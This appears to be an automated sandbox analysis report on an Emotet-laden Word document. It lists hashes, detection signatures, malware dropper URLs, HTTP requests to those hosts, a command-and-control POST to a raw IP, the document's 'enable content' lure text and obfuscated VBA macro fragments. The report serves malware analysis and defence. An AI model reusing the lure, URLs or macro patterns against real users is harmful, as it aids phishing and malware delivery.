Analysis Report dat_513543.doc

Overview

General Information

Sample Name: dat_513543.doc
Analysis ID: 336623
MD5: 10ee2b89f3480381986269c71e7e19cd
SHA1: 462fdbfb243ee2285f5c0fa3472915fd509a3fe7
SHA256: ac71b73f7ed0aada10d4eb9c288fc3af470cb7ea49955cd25d66997c5fd1e3c4

Most interesting Screenshot:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://veterinariadrpopui.com Avira URL Cloud: Label: malware
Source: http://veterinariadrpopui.com/content/5f18Q/ Avira URL Cloud: Label: malware
Source: http://sofsuite.com/wp-includes/2jm3nIk/ Avira URL Cloud: Label: phishing
Source: http://khanhhoahomnay.net/wordpress/CGMC/ Avira URL Cloud: Label: malware
Source: https://gurztac.wtchevalier.com/wp-content/YzZ6YZ/ Avira URL Cloud: Label: malware
Source: http://shop.elemenslide.com/wp-content/n/ Avira URL Cloud: Label: malware
Source: http://wpsapk.com/wp-admin/v/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for submitted file
Source: dat_513543.doc Virustotal: Detection: 63% Perma Link

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt, 7_2_100011C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100021F0 CryptStringToBinaryW,CoTaskMemAlloc,CryptStringToBinaryW,StgDeserializePropVariant,CoTaskMemFree, 7_2_100021F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002730 StgSerializePropVariant,CryptBinaryToStringW,CoTaskMemAlloc,CryptBinaryToStringW,CoTaskMemFree,CoTaskMemFree, 7_2_10002730
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_002B75AE CryptDecodeObjectEx, 15_2_002B75AE
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: C:\Windows\symbols\dll\System.pdbom source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: ws\System.pdbpdbtem.pdb\a source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: E:\WindowsSDK7-Samples-master\WindowsSDK7-Samples-master\winui\shell\appshellintegration\RecipePropertyHandler\Win32\Release\RecipePropertyHandler.pdb source: rundll32.exe, 00000007.00000002.2109828341.000000001000D000.00000002.00020000.sdmp
Source: Binary string: System.pdb* source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.pdbon.dll source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: System.pdb source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: System.pdb8 source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2105242843.0000000002AD0000.00000002.00000001.sdmp
Source: Binary string: <ystem.pdb source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.pdb5\ source: powershell.exe, 00000005.00000002.2105471306.0000000002DC7000.00000004.00000040.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_002B109C FindFirstFileW, 15_2_002B109C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: wpsapk.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 104.18.61.59:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 104.18.61.59:80

Networking:

barindex
Potential dropper URLs found in powershell memory
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in memory: http://wpsapk.com/wp-admin/v/
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in memory: http://sofsuite.com/wp-includes/2jm3nIk/
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in memory: http://veterinariadrpopui.com/content/5f18Q/
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in memory: http://shop.elemenslide.com/wp-content/n/
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in memory: http://khanhhoahomnay.net/wordpress/CGMC/
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in memory: http://campusexpo.org/department-of-odhmmkd/95eXZY/
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in memory: https://gurztac.wtchevalier.com/wp-content/YzZ6YZ/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /wp-admin/v/ HTTP/1.1Host: wpsapk.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-includes/2jm3nIk/ HTTP/1.1Host: sofsuite.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /content/5f18Q/ HTTP/1.1Host: veterinariadrpopui.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wordpress/CGMC/ HTTP/1.1Host: khanhhoahomnay.netConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 209.59.139.39 209.59.139.39
Source: Joe Sandbox View IP Address: 5.2.136.90 5.2.136.90
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: LIQUIDWEBUS LIQUIDWEBUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /04rd/6w3hm75k6ju730vl/l0qiyvbr6/vmtc1/bd9090pvenbvbzuu/ HTTP/1.1DNT: 0Referer: 5.2.136.90/04rd/6w3hm75k6ju730vl/l0qiyvbr6/vmtc1/bd9090pvenbvbzuu/Content-Type: multipart/form-data; boundary=--------rL4XtnE8User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 7412Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_002C023A InternetReadFile, 15_2_002C023A
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{51D7E52E-FC7D-43F0-B5EC-EA333295AFA3}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /wp-admin/v/ HTTP/1.1Host: wpsapk.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-includes/2jm3nIk/ HTTP/1.1Host: sofsuite.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /content/5f18Q/ HTTP/1.1Host: veterinariadrpopui.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wordpress/CGMC/ HTTP/1.1Host: khanhhoahomnay.netConnection: Keep-Alive
Source: rundll32.exe, 00000006.00000002.2110632977.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105139354.0000000001CE0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2106445061.0000000001E70000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknown DNS traffic detected: queries for: wpsapk.com
Source: unknown HTTP traffic detected: POST /04rd/6w3hm75k6ju730vl/l0qiyvbr6/vmtc1/bd9090pvenbvbzuu/ HTTP/1.1DNT: 0Referer: 5.2.136.90/04rd/6w3hm75k6ju730vl/l0qiyvbr6/vmtc1/bd9090pvenbvbzuu/Content-Type: multipart/form-data; boundary=--------rL4XtnE8User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 7412Connection: Keep-AliveCache-Control: no-cache
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in binary or memory: http://campusexpo.org/department-of-odhmmkd/95eXZY/
Source: rundll32.exe, 00000006.00000002.2110632977.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105139354.0000000001CE0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2106445061.0000000001E70000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2110632977.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105139354.0000000001CE0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2106445061.0000000001E70000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: powershell.exe, 00000005.00000002.2113413103.0000000003BC8000.00000004.00000001.sdmp String found in binary or memory: http://khanhhoahomnay.net
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in binary or memory: http://khanhhoahomnay.net/wordpress/CGMC/
Source: rundll32.exe, 00000006.00000002.2111721751.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105906260.0000000001EC7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2107059819.0000000002057000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2111721751.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105906260.0000000001EC7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2107059819.0000000002057000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2103756353.0000000002430000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2107759466.00000000027F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2109125954.0000000002800000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000006.00000002.2111721751.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105906260.0000000001EC7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2107059819.0000000002057000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2113413103.0000000003BC8000.00000004.00000001.sdmp String found in binary or memory: http://shop.elemenslide.com
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in binary or memory: http://shop.elemenslide.com/wp-content/n/
Source: powershell.exe, 00000005.00000002.2112121116.0000000003B43000.00000004.00000001.sdmp String found in binary or memory: http://sofsuite.com
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in binary or memory: http://sofsuite.com/wp-includes/2jm3nIk/
Source: powershell.exe, 00000005.00000002.2112702616.0000000003B8D000.00000004.00000001.sdmp String found in binary or memory: http://veterinariadrpopui.com
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in binary or memory: http://veterinariadrpopui.com/content/5f18Q/
Source: rundll32.exe, 00000006.00000002.2111721751.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105906260.0000000001EC7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2107059819.0000000002057000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in binary or memory: http://wpsapk.com
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in binary or memory: http://wpsapk.com/wp-admin/v/
Source: powershell.exe, 00000005.00000002.2103756353.0000000002430000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2107759466.00000000027F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2109125954.0000000002800000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000006.00000002.2110632977.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105139354.0000000001CE0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2106445061.0000000001E70000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2111721751.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105906260.0000000001EC7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2107059819.0000000002057000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000006.00000002.2110632977.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2105139354.0000000001CE0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2106445061.0000000001E70000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2102201796.0000000000404000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000005.00000002.2102201796.0000000000404000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.c
Source: rundll32.exe, 00000009.00000002.2108646901.00000000022B0000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2110491399.00000000037F2000.00000004.00000001.sdmp String found in binary or memory: https://gurztac.wtchevalier.com/wp-content/YzZ6YZ/
Source: powershell.exe, 00000005.00000002.2112111732.0000000003B2E000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2112702616.0000000003B8D000.00000004.00000001.sdmp String found in binary or memory: https://www.cloudflare.com/5xx-error-landing

E-Banking Fraud:

barindex
Yara detected Emotet
Source: Yara match File source: 0000000C.00000002.2111593595.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2113623618.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2115505168.00000000006F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2109883374.0000000000271000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2105763694.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2111624405.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2108402593.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2113814198.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2104218731.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2107467849.0000000000471000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2115470379.00000000006D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2108502450.0000000000231000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2109758118.0000000000250000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2345325449.00000000002B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2107419696.00000000003D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2345304717.0000000000250000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2104303323.0000000000241000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2105708709.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 15.2.rundll32.exe.250000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.3d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.470000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.270000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.6d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.6f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.250000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.230000.1.unpack, type: UNPACKEDPE

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page: I of I , word
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page: I of I , words:3 i C i N@m 13 ;a 1
Source: Screenshot number: 8 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. K O a S
Source: Screenshot number: 8 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 8 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 8 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. K O a S
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Document contains an embedded VBA macro with suspicious strings
Source: dat_513543.doc OLE, VBA macro line: Set SblcDCC = pULquU.CreateTextFile("OMySJHB:\AyVGlHzV\jPNIAFF.VJueCC")
Source: dat_513543.doc OLE, VBA macro line: Set fNhiCVgGS = RyDBDK.CreateTextFile("YJYLAnEDp:\qjyoGCI\dkSAD.MSPmBF")
Source: dat_513543.doc OLE, VBA macro line: Set HCvCmAcHC = iFTmFHFH.CreateTextFile("shCgAEb:\vCjFDhHuA\RhZGDG.mHWOGnIf")
Source: dat_513543.doc OLE, VBA macro line: Set gEcrV = RqlOZAHRJ.CreateTextFile("HQGixyC:\vETCeBG\zIuEqsGG.NobmDA")
Source: dat_513543.doc OLE, VBA macro line: Set ZMdrVHGz = xsruLB.CreateTextFile("EEnWBhBO:\VaTRC\McdbPkJ.cvwiQ")
Source: dat_513543.doc OLE, VBA macro line: Set fDZVKAAc = tzErBRFe.CreateTextFile("RcEcpI:\TGsCxLC\hxAZEBGHI.oETVAFo")
Source: dat_513543.doc OLE, VBA macro line: Set rYbgBh = hZCth.CreateTextFile("fYRUCAB:\VWWOMB\QmLUE.hKgcGBDCJ")
Source: dat_513543.doc OLE, VBA macro line: Set GfRPP = xLQtMd.CreateTextFile("RyteBlQC:\fuQXAW\oueKCbIJ.WivEYJD")
Source: dat_513543.doc OLE, VBA macro line: Set sCOIGDtD = eepvDEaE.CreateTextFile("KlvicF:\bJfMJhqw\dAgvkWD.xDxpHH")
Source: dat_513543.doc OLE, VBA macro line: Set fmwdEMADQ = DkLoDL.CreateTextFile("pGMMG:\enlVVB\fMqiFP.kEIECDZHz")
Source: dat_513543.doc OLE, VBA macro line: Set pkixJADG = DhnHIY.CreateTextFile("rfyIZCD:\OrugCDDGG\qkyWDBUAH.gjwVDBALW")
Source: dat_513543.doc OLE, VBA macro line: Set KmGOADt = CFdSBD.CreateTextFile("HWdKFJOBf:\UYiqcEIJ\rLoNox.YKOSA")
Source: dat_513543.doc OLE, VBA macro line: Set PbhYVsA = PcHRGIADo.CreateTextFile("OiBXGJB:\pnqsZEDV\gsZoAW.EePnB")
Source: dat_513543.doc OLE, VBA macro line: Set NuebA = sTzDC.CreateTextFile("OBoYzRpef:\sDLuJ\bmIQSG.MdmDR")
Source: dat_513543.doc OLE, VBA macro line: Set gxBPJB = zxgLHJSFW.CreateTextFile("KGGMcAB:\uaMWhFR\mhdIDlEH.PDxHAHD")
Source: dat_513543.doc OLE, VBA macro line: Set mgrwfmN = RjiQHRA.CreateTextFile("CxQnJUo:\GongJKJ\vntyZI.ugzmBCOCC")
Source: dat_513543.doc OLE, VBA macro line: Set uWZkeMFv = zDsRaIBGF.CreateTextFile("NFKiIDO:\sBRpIz\FFqJD.QevLKGfGs")
Source: dat_513543.doc OLE, VBA macro line: Set iHKuDmaEr = OMZxxg.CreateTextFile("QWqEKJnW:\BQVnVKF\gWdSBXA.TabDJBD")
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set SblcDCC = pULquU.CreateTextFile("OMySJHB:\AyVGlHzV\jPNIAFF.VJueCC") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set fNhiCVgGS = RyDBDK.CreateTextFile("YJYLAnEDp:\qjyoGCI\dkSAD.MSPmBF") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set HCvCmAcHC = iFTmFHFH.CreateTextFile("shCgAEb:\vCjFDhHuA\RhZGDG.mHWOGnIf") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set gEcrV = RqlOZAHRJ.CreateTextFile("HQGixyC:\vETCeBG\zIuEqsGG.NobmDA") Name: G8xesq0b8jlsfrsp
